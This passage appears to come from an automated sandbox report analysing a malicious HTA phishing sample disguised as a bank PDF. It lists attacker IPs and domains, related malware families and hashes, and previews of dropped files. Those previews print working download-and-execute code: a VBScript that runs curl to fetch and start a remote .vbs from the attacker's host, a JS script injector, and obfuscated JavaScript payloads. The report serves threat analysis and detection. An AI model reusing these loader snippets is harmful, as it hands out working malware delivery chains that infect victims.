https://file-download.bytez.cloud/list_files.phpY	wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872536146.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870875396.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1868029395.0000000002E9F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/list_files.phpBn	wscript.exe, 0000000A.00000003.1874916415.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1870400082.0000000002EFD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877061717.0000000002F05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1870083227.0000000002EFA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1875012011.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/js/djtukm.txtCl	wscript.exe, 0000000A.00000003.1870400082.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.1877300951.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.1871649570.0000000002F55000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore68	powershell.exe, 0000000E.00000002.2332006085.000001675F501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2332125294.0000027D5B461000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/676556be12355/js/676556be11f48.jsd	mshta.exe, 00000000.00000002.1806983418.000000000094E000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
78.138.9.153	file-download.bytez.cloud	United Kingdom		8513	SKYVISIONGB	true
206.188.197.242	bmuegbvuz7u3b.top	United States		55002	DEFENSE-NETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578780
Start date and time:	2024-12-20 12:38:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta renamed because original name is a hash value
Original Sample Name:	PKO_0019289289544_PDF_.hta
Detection:	MAL
Classification:	mal100.troj.expl.evad.winHTA@28/16@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 6700 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7172 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7232 because it is empty
Execution Graph export aborted for target wscript.exe, PID 6960 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:39:18	API Interceptor	471x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKYVISIONGB	loligang.mips.elf	Get hash	malicious	Mirai	Browse	83.229.37.7
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	78.138.9.142
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	83.229.59.112
	https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t	Get hash	malicious	HTMLPhisher	Browse	78.138.9.37
	arm4.elf	Get hash	malicious	Mirai	Browse	217.194.146.92
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	217.194.158.58
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	83.229.19.82
DEFENSE-NETUS	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	107.162.185.253
	home.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	170.158.122.12
	bpaymentcopy.exe	Get hash	malicious	HawkEye, MailPassView, PredatorPainRAT	Browse	207.204.50.48
	phish_alert_iocp_v1.4.48 (80).eml	Get hash	malicious	InvoiceScam	Browse	107.162.175.186
	2stage.ps1	Get hash	malicious	Unknown	Browse	206.188.196.37
	2stage.ps1	Get hash	malicious	Unknown	Browse	206.188.196.37
	I_ Ultima richiesta di pagamento finale per Cuzziol beverage s_r_l__.msg	Get hash	malicious	Mint Stealer	Browse	206.188.196.37
	_DRP12938938231_PDF.js	Get hash	malicious	Mint Stealer	Browse	206.188.196.37
	_DRP12938938231_PDF.js	Get hash	malicious	Mint Stealer	Browse	206.188.196.37
	ryOpDCeOHz.ps1	Get hash	malicious	Unknown	Browse	206.188.196.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	78.138.9.153
	67618a47ee8c5.vbs	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	PKO_0019868519477_PDF_#U2462#U2465#U2461#U2465#U2467#U2464#U2464#U2466.hta	Get hash	malicious	Mint Stealer	Browse	78.138.9.153
	webhook.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	loader.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	loader.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	chos.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
	file.exe	Get hash	malicious	Unknown	Browse	78.138.9.153
37f463bf4616ecd445d4a1937da06e19	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	78.138.9.153
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	78.138.9.153
	FinTP-Update.exe	Get hash	malicious	CobaltStrike	Browse	78.138.9.153
	hrupdate.exe	Get hash	malicious	CobaltStrike	Browse	78.138.9.153
	hrupdate.exe	Get hash	malicious	CobaltStrike	Browse	78.138.9.153
	billys.exe	Get hash	malicious	Meduza Stealer	Browse	78.138.9.153
	ruppert.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	78.138.9.153
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	78.138.9.153
	2JSGOlbNym.dll	Get hash	malicious	Unknown	Browse	78.138.9.153

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	1926
Entropy (8bit):	4.4398973650458675
Encrypted:	false
SSDEEP:	48:q58OOD+y8Qyl+hLMpvELdQu8EwNcr1Vmzd/Im/IIv:q5FOD+y8QXhLM9KQuJwNcr1VmztImwIv
MD5:	CDCB07DE1864FBFC7BB443C647CF8834
SHA1:	CDB1BC9A49838B64CA34DA607CF90FE228BE3500
SHA-256:	7D5A133EA8497FE8C117E14E298395B2CFEDB862FDD146FF168CC619A2FDB453
SHA-512:	5AE4550F2BDA34FA0B6BE8DB9D9AB585ABCDF984496B3732B676498674CF69385D2185EAFB426E64FE169767AF77D1968D0A67187A9D7C9FC280676C5FB9C253
Malicious:	true
Preview:	Option Explicit..Sub DownloadAndExecuteJS(baseUrl, listEndpoint, jsFolder). Dim xmlhttp, fso, shell, jsFiles, selectedFile, tempFolder, jsFilePath. Set xmlhttp = CreateObject("MSXML2.XMLHTTP"). Set fso = CreateObject("Scripting.FileSystemObject"). Set shell = CreateObject("WScript.Shell").. On Error Resume Next. xmlhttp.Open "GET", baseUrl & listEndpoint, False. xmlhttp.Send.. If Err.Number <> 0 Then. Err.Clear. Exit Sub. End If.. If xmlhttp.Status = 200 Then. jsFiles = Split(Trim(xmlhttp.responseText), vbLf).. If UBound(jsFiles) >= 0 Then.. Randomize. selectedFile = Trim(jsFiles(Int((UBound(jsFiles) + 1) * Rnd))) .. If selectedFile <> "" Then.. tempFolder = shell.ExpandEnvironmentStrings("%TEMP%").. If Not fso.FolderExists(tempFolder) Then. fso.CreateFolder(tempFolder). End If.. jsFilePath = tempFolder & "\" & Replace

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\676556be11f48[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.434275506926382
Encrypted:	false
SSDEEP:	6:jqSHqAUcNi8mgO9lVhnB48w3CKGcis7a+23fQXR8wdExqdALbDRWARr9en:WULuHnB4MQnR6x9DRWARr9en
MD5:	F891E0895F3C982942F0C9C3ED7A7849
SHA1:	5FF24F76CC4B5A7F28394B7DC0B5CDD2E6778E76
SHA-256:	70E184F3B472B01F67E74AE9C1D7A39407E0084A207ED5CD899DF42EE39A920D
SHA-512:	92F817B43C24AA635A85BB2B3D13EFFF4DA7AE255AFEE8724CAD78E3C6B567D0A6C109C4E7B45E8063712AA9CB90B0B0EBFF5FC24C11A97380D845BC92AA58C5
Malicious:	false
Preview:	moveTo(98559, 91359);.var dqWD0kG9 = document.createElement("script");.var RNGvD95 = ".";.dqWD0kG9.setAttribute("src", "https://file-download" + RNGvD95 + "bytez" + RNGvD95 + "cloud/676556be12355/676556be12ac3" + RNGvD95 + "vbs");.dqWD0kG9.setAttribute("type", "text/vbscript");.document.getElementsByTagName('head')[0].appendChild(dqWD0kG9);

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\djtukm[1].txt

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1862)
Category:	dropped
Size (bytes):	171920
Entropy (8bit):	4.834532615658741
Encrypted:	false
SSDEEP:	1536:nwEu0H734GXlMNxFUblaBc8VaTH73kGXlMNxFUblaBc8VaqGXlMNxFUblaBc8Vau:nzbFa
MD5:	D6C5E328BA9AC9A0183D531D5E1D0184
SHA1:	5D31E2FDDF63FA8D8EEE7F98FF6507C56C059221
SHA-256:	B807942152DD32E70863A22133C164753A35E94E5FC93B854E8BAD9C6FDC5848
SHA-512:	8FC45AC6B2CFA9D6ECCCF55454715590823232BC0EA88B874594F97CE5AB3CDA249378588A31B60C5573DEF92C2076EEF7F5C64660C62B3571753244FD65DC70
Malicious:	false
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\list_files[1].php

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	4.253685452356059
Encrypted:	false
SSDEEP:	96:7l80Pbnkdg1IGc5RH6tv76i08SUDt3L3HKWO3I8M8ehSYWlq7tMQP7OLWr:p8EUg1IGEc6i08lD93HK9JM1S3C5aKr
MD5:	B84AA7AB0047E73341FFFC009B75CF29
SHA1:	B1A9D2337E131E7A8CAB6D7884E2DBAE822676A4
SHA-256:	0E58420A942431806474AFB9CE928DBB6860F4BDDE5A9D57BABBC32310240254
SHA-512:	1926E8D9C789B8AFEA9BCBB66E9D78E3BD9C6230F8B91C1D5C296A44B16022988CFA2C9588AA0DE8D9B76AAD5A60A410DBA5AF859632BA892640207FB49A0BCA
Malicious:	false
Preview:	adchfn.txt.afmjqy.txt.aipojd.txt.aivfhm.txt.akmsfn.txt.alzgdf.txt.apwisr.txt.aqbves.txt.arfejg.txt.arpufx.txt.aspngf.txt.atbmcv.txt.athupi.txt.atjunw.txt.atrpjx.txt.aweqxl.txt.aybfme.txt.bazydn.txt.bcertv.txt.bcvmok.txt.bftoze.txt.bgwdlq.txt.bjewxt.txt.bkerly.txt.bkocxt.txt.bksnzj.txt.bmcrfh.txt.bnfzji.txt.bpyjmd.txt.bqpmtr.txt.bsuyhj.txt.buriep.txt.buzpag.txt.bymvne.txt.bypvgu.txt.bzclen.txt.bzscvg.txt.cafshz.txt.cagesr.txt.cbftqv.txt.cbpzji.txt.cdazps.txt.cexirv.txt.cexudy.txt.cfjrvu.txt.chepkx.txt.chvjrw.txt.cirunm.txt.clgkjd.txt.cljokq.txt.clwnai.txt.cnduef.txt.conuwf.txt.csqhyv.txt.ctrnow.txt.cusemi.txt.cyqbmx.txt.cyxgwa.txt.datkuq.txt.dawgjr.txt.dcwanm.txt.decqzl.txt.deirlj.txt.dfrwix.txt.dhkuol.txt.diktcx.txt.dimekn.txt.djiowm.txt.djtukm.txt.dkwozi.txt.dmhjua.txt.dnbuqz.txt.dperay.txt.drgftx.txt.dsoayr.txt.dxbgma.txt.dxkipn.txt.dxnzvl.txt.dzayik.txt.eaqbfm.txt.efcwnv.txt.ehsail.txt.ehwdpq.txt.eicbgw.txt.eivhfn.txt.elqgwv.txt.emuzcj.txt.enhozf.txt.epmtcs.txt.esagwk.txt.eucwkz.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\cagesr[1].txt

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1810)
Category:	dropped
Size (bytes):	207619
Entropy (8bit):	4.809292016233986
Encrypted:	false
SSDEEP:	1536:nwlvbwBzJy33UrPWIXzfXu4e/J1WmXXbO1wBzJy33UrPWIEzfXu4e/J1WmXXbOvr:nQGFLWIjsDFLWI0sasIFLWItFLWIp
MD5:	6FBF7E9498A4A1070BBF090DEBEDDAF6
SHA1:	4F52D22F86AF2DF297A082036C8385F06F4C03A0
SHA-256:	FC8E301769D77414CCBF5BE61688DA92DE30222A57F2220D7FA29F6255D9A09C
SHA-512:	59E1450106DEF3E85AD09D071E8D0FBCF344ECFE0669080D9B2095A6531B2C8BE17FA2761E420B79333F8A30EB3B0292FEB345961573A52483C2D146B469BCFA
Malicious:	false
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * (0xe58 + -0x1 * -0x1cc3 + -0x3 * 0xe49) + tHewith : tHewith, Courtvii++ % (0x16 * 0x69 + 0x1 * 0x1e1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\list_files[1].php

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5511
Entropy (8bit):	4.253685452356059
Encrypted:	false
SSDEEP:	96:7l80Pbnkdg1IGc5RH6tv76i08SUDt3L3HKWO3I8M8ehSYWlq7tMQP7OLWr:p8EUg1IGEc6i08lD93HK9JM1S3C5aKr
MD5:	B84AA7AB0047E73341FFFC009B75CF29
SHA1:	B1A9D2337E131E7A8CAB6D7884E2DBAE822676A4
SHA-256:	0E58420A942431806474AFB9CE928DBB6860F4BDDE5A9D57BABBC32310240254
SHA-512:	1926E8D9C789B8AFEA9BCBB66E9D78E3BD9C6230F8B91C1D5C296A44B16022988CFA2C9588AA0DE8D9B76AAD5A60A410DBA5AF859632BA892640207FB49A0BCA
Malicious:	false
Preview:	adchfn.txt.afmjqy.txt.aipojd.txt.aivfhm.txt.akmsfn.txt.alzgdf.txt.apwisr.txt.aqbves.txt.arfejg.txt.arpufx.txt.aspngf.txt.atbmcv.txt.athupi.txt.atjunw.txt.atrpjx.txt.aweqxl.txt.aybfme.txt.bazydn.txt.bcertv.txt.bcvmok.txt.bftoze.txt.bgwdlq.txt.bjewxt.txt.bkerly.txt.bkocxt.txt.bksnzj.txt.bmcrfh.txt.bnfzji.txt.bpyjmd.txt.bqpmtr.txt.bsuyhj.txt.buriep.txt.buzpag.txt.bymvne.txt.bypvgu.txt.bzclen.txt.bzscvg.txt.cafshz.txt.cagesr.txt.cbftqv.txt.cbpzji.txt.cdazps.txt.cexirv.txt.cexudy.txt.cfjrvu.txt.chepkx.txt.chvjrw.txt.cirunm.txt.clgkjd.txt.cljokq.txt.clwnai.txt.cnduef.txt.conuwf.txt.csqhyv.txt.ctrnow.txt.cusemi.txt.cyqbmx.txt.cyxgwa.txt.datkuq.txt.dawgjr.txt.dcwanm.txt.decqzl.txt.deirlj.txt.dfrwix.txt.dhkuol.txt.diktcx.txt.dimekn.txt.djiowm.txt.djtukm.txt.dkwozi.txt.dmhjua.txt.dnbuqz.txt.dperay.txt.drgftx.txt.dsoayr.txt.dxbgma.txt.dxkipn.txt.dxnzvl.txt.dzayik.txt.eaqbfm.txt.efcwnv.txt.ehsail.txt.ehwdpq.txt.eicbgw.txt.eivhfn.txt.elqgwv.txt.emuzcj.txt.enhozf.txt.epmtcs.txt.esagwk.txt.eucwkz.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\676556be12ac3[1].vbs

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	707
Entropy (8bit):	5.399388999130672
Encrypted:	false
SSDEEP:	12:ab1ydJWCH4AddYN1dLmrZfHFXZ3sOoc8ZfzjqH6:ab1ydzH4wiUrFH69FT
MD5:	288168092DC1116083D7DEA05FB97946
SHA1:	61D44C8F0D2EE68F6350F921F442C91DDAD03F8D
SHA-256:	9103D31FCEAE9C886164ED174AB66282406779964543EDAEAE14A89DDC6B2821
SHA-512:	38D4317CB10BB48176F88279D4AF2BEA3822184A5477B79F03999A3C2A4CA84770781FCDA777AF6BE2D22D2103AFFF06A11BABCDDD06E06B3114331F8E1A97AB
Malicious:	true
Preview:	..function pVvId92(vHkR3pm51) . pVvId92 = Replace(vHkR3pm51,"\|", "").end function..Dim shell, publicFolder.Set shell = CreateObject("WScript.Shell").publicFolder = shell.ExpandEnvironmentStrings("%PUBLIC%")...Dim vbsFilePath.vbsFilePath = publicFolder & "\" & "676556be12aca.vbs"...CreateObject(pVvId92("\|W\|s\|c\|r\|I\|p\|t.\|s\|h\|E\|l\|l\|")).Run pVvId92("cmd /V/D/c curl -k -o " & vbsFilePath & " https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs"), 2, TRUE...CreateObject(pVvId92("\|\|W\|s\|c\|r\|I\|p\|t.\|s\|h\|E\|l\|l\|")).Run pVvId92("cmd /V/D/c start " & vbsFilePath), 2, TRUE..CreateObject(pVvId92("\|\|W\|s\|c\|r\|I\|p\|t\|.\|s\|h\|E\|l\|l")).Run pVvId92("cmd /V/D/c start " & vbsFilePath), 2, TRUE.close.close.close

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1cz40sfv.zgh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5tcubamp.q3e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqdytq5f.s1z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yirbytvl.aru.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\cagesr.js

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ISO-8859 text, with very long lines (1810)
Category:	dropped
Size (bytes):	207590
Entropy (8bit):	4.807973416559944
Encrypted:	false
SSDEEP:	1536:nwlvbwBzWy33UIPWIXzfXujJ/J1TmPYbh1wBzWy33UIPWIEzfXujJ/J1TmPYbhvc:nQjFuWIjGPFuWI0GpGUFuWISFuWIp
MD5:	E2638DEBB382286CD9A3032AC8F19FE0
SHA1:	55FA38825198A56E55924BCAF8F3C71A18D4AC0F
SHA-256:	1BF5DCB1E437169E03F58A754D06F09D4DE0FBD65E516C3DE586676A2F0E5D26
SHA-512:	EA211033BD0C7E6CDD456863AD84E3F7C25979A92871CF21D14CD928F8DA53C6A4BC13BE14BDA1A6A8AE17909C607B06392F6A238C02296C5CE44182F108733B
Malicious:	true
Preview:	var thehis0wouldsovereignty = thehis0thewith;.function thehis0thewith(nothistory, thewith) {. var wouldsovereignty = thehis0nothistory();. thehis0thewith = function (andrewforces, suchthe) {. andrewforces = andrewforces - (0x517 * 0x1 + 0x16be + 0x1a8a * -0x1);. var ourtypos = wouldsovereignty[andrewforces];. if (thehis0thewith['FzvcMl'] === undefined) {. var courtvii = function (Ourtypos) {. var Andrewforces = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';. var Suchthe = '';. var Wouldsovereignty = '';. for (var Courtvii = 0x1454 + -0x6a1 + -0x1 * 0xdb3, sUchthe, tHewith, wOuldsovereignty = -0x1462 + -0x21e3 * 0x1 + 0x1217 * 0x3; tHewith = Ourtypos['charAt'](wOuldsovereignty++); ~tHewith && (sUchthe = Courtvii % (0x441 * 0x3 + -0x9 * 0x233 + -0x70c * -0x1) ? sUchthe * 